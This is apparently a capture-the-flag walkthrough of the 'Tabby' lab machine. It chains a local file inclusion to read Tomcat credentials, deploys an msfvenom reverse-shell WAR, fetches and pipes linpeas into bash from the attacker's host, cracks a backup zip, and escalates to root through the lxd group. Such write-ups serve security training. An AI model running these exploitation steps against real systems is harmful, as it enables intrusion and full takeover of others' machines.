Tabby
Nmap Scan
Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-26 08:14 CDT
Nmap scan report for megahosting.htb (10.10.10.194)
Host is up (0.034s latency).
Not shown: 997 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
8080/tcp open http-proxy
Nmap done: 1 IP address (1 host up) scanned in 0.58 seconds
Enumeration
Running a quick port scan shows us that ports 80 and 8080 are both open, meaning we have a tomcat instance running on the machine, as well as a normal webserver. Visiting the website on port 80 and clicking “news” gives us a name for the website, that we’ll need to add to our /etc/hosts file:
megahosting.htb
Manually walking through the website on port 80 gives us LFI at the following address:
http://megahosting.htb/news.php?file=
Since we know that tomcat is running, we’ll visit the tomcat instance on port 8080. We see the following interesting lines:
Tomcat veterans might be pleased to learn that this system instance of Tomcat is installed with CATALINA_HOME in /usr/share/tomcat9 and CATALINA_BASE in /var/lib/tomcat9, following the rules from /usr/share/doc/tomcat9-common/RUNNING.txt.gz.
Further down the page, we get an incorrect location for the tomcat-users.xml file, which will hold the credentials we need to log into the machine. We know that the tomcat-users.xml file should be in CATALINE_BASE + /conf/tomcat-users.xml, but visiting this location with our LFI doesn’t work. To automate the process, we can use ffuf and do a quick scan of directories in CATALINE_BASE (/usr/share/tomcat9) to see if we can get a quick win:
$ ffuf -w /usr/share/seclists/Discovery/Web-Content/common.txt -u 'http://megahosting.htb/news.php?file=../../../../../../usr/share/tomcat9/FUZZ/tomcat-users.xml' -fs 0
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.0.2
________________________________________________
:: Method : GET
:: URL : http://megahosting.htb/news.php?file=../../../../../../usr/share/tomcat9/FUZZ/tomcat-users.xml
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403
:: Filter : Response size: 0
________________________________________________
etc [Status: 200, Size: 2325, Words: 361, Lines: 48]
:: Progress: [4652/4652] :: Job [1/1] :: 775 req/sec :: Duration: [0:00:06] :: Errors: 0 ::
It looks like /usr/share/tomcat9/etc/tomcat-users.xml exists, so we’ll visit this in our browser!
view-source:http://megahosting.htb/news.php?file=../../../../../../usr/share/tomcat9/etc/tomcat-users.xml
...
<user username="tomcat" password="$3cureP4s5w0rd123!" roles="admin-gui,manager-script"/>
...
Now we have a username and password combination for the tomcat manager instance!
Visiting http://megahosting.htb:8080/manager/html and using the credentials gives us a “Permission denied” error since we’re not on the same machine, but visiting http://megahosting.htb:8080/host-manager/html lets us connect.
If we looks at the roles that our user has, he isn’t in the manager-gui group so we can’t use the manager HTML interface, but he is in the manager-script group so we can use the text interface. We’ll first need to create a war shell to upload:
msfvenom -p java/jsp_shell_reverse_tcp lhost=10.10.xx.xx lport=1234 -f war -o meter.war
We also need to open a listener:
$ msfconsole
$ use exploit/multi/handler
$ set LHOST 10.10.xx.xx
$ set LPORT 1234
$ exploit -j
With our shell ready to go, we can use curl to communicate with the server, after grabbing our Authorization Header with Burp:
curl -T meter.war -H "Authorization: Basic dG9tY2F0OiQzY3VyZVA0czV3MHJkMTIzIQ==" http://10.10.10.194:8080/manager/text/deploy?path=/shell
Now that the shell has been deployed, we can visit it in our browser at:
http://megahosting.htb:8080/shell
msf5 exploit(multi/handler) > shell session 1 opened (10.10.14.28:1234 -> 10.10.10.194:54304) at 2020-06-26 10:59:21 -0500
msf5 exploit(multi/handler) > sessions 1
[*] Starting interaction with 1...
id
uid=997(tomcat) gid=997(tomcat) groups=997(tomcat)
Now, we’ll import TTY to give ourselves a better shell, and do some enumeration:
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
tomcat@tabby:/var/lib/tomcat9/$
We can run linpeas.sh to get an overview of what we have on the system:
$ curl http://10.10.xx.xx/linpeas.sh | bash
...
[+] Backup files?
-rw-r--r-- 1 ash ash 8716 Jun 16 13:42 /var/www/html/files/16162020_backup.zip
-rw-r--r-- 1 root root 2743 Apr 23 07:35 /etc/apt/sources.list.curtin.old
...
The backup file in the html/files directory is interesting, as it’s owned by ash:
$ ls -lah /var/www/html/files/16162020_backup.zip
-rw-r--r-- 1 ash ash 8.6K Jun 16 13:42 /var/www/html/files/16162020_backup.zip
We’ll send this to our attacking machine with netcat, then crack it with john:
$ zip2john backup.zip > hash.txt
$ john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
...
backup.zip:admin@it::backup.zip:var/www/html/news.php, var/www/html/logo.png, var/www/html/index.php:backup.zip
We cracked the password for a file owned by ash, so we’ll see if he reused his account password for this zip file:
$ su ash
su ash
Password: admin@it
ash@tabby:$
Escalating to Root
If we look at our groups, we can see that we’re part of the lxd group, which will be an easy priv-esc method:
$ id
uid=1000(ash) gid=1000(ash) groups=1000(ash),4(adm),24(cdrom),30(dip),46(plugdev),116(lxd)
We’ll start by building an alpine image on our attacking machine:
$ git clone https://github.com/saghul/lxd-alpine-builder.git
$ cd lxd-alpine-builder
$ sudo ./build-alpine -a i686
$ mv alpine-v3.12-i686-20200626_1209.tar.gz alpine.tar.gz
Now, we’ll download this to the victim machine, and import it:
$ wget http://10.10.xx.xx/alpine.tar.gz
$ lxc image import ./alpine.tar.gz --alias myimage
$ lxd init
[Hit enter until this completes]
Now, we need to set up the image:
$ lxc init myimage mycontainer -c security.privileged=true
$ lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true
$ $ lxc list
+-------------+---------+------+------+-----------+-----------+
| NAME | STATE | IPV4 | IPV6 | TYPE | SNAPSHOTS |
+-------------+---------+------+------+-----------+-----------+
| mycontainer | STOPPED | | | CONTAINER | 0 |
+-------------+---------+------+------+-----------+-----------+
Finally, we can start the container, and get a root shell:
$ lxc start mycontainer
$ lxc exec mycontainer /bin/sh
~ # ^[[30;5Rid
uid=0(root) gid=0(root)
Since we mounted our file system on the alpine images /mnt/root, we can grab the flag:
~ # ^[[60;5Rls -lah /mnt/root/root
ls -lah /mnt/root/root
total 40K
drwx------ 6 root root 4.0K Jun 16 13:59 .
drwxr-xr-x 20 root root 4.0K May 19 10:28 ..
lrwxrwxrwx 1 root root 9 May 21 20:30 .bash_history -> /dev/null
-rw-r--r-- 1 root root 3.0K Dec 5 2019 .bashrc
drwx------ 2 root root 4.0K May 19 22:23 .cache
drwxr-xr-x 3 root root 4.0K May 19 11:50 .local
-rw-r--r-- 1 root root 161 Dec 5 2019 .profile
-rw-r--r-- 1 root root 66 May 21 13:46 .selected_editor
drwx------ 2 root root 4.0K Jun 16 14:00 .ssh
-rw-r--r-- 1 root root 33 Jun 26 16:08 root.txt
drwxr-xr-x 3 root root 4.0K May 19 10:41 snap
There’s our flag!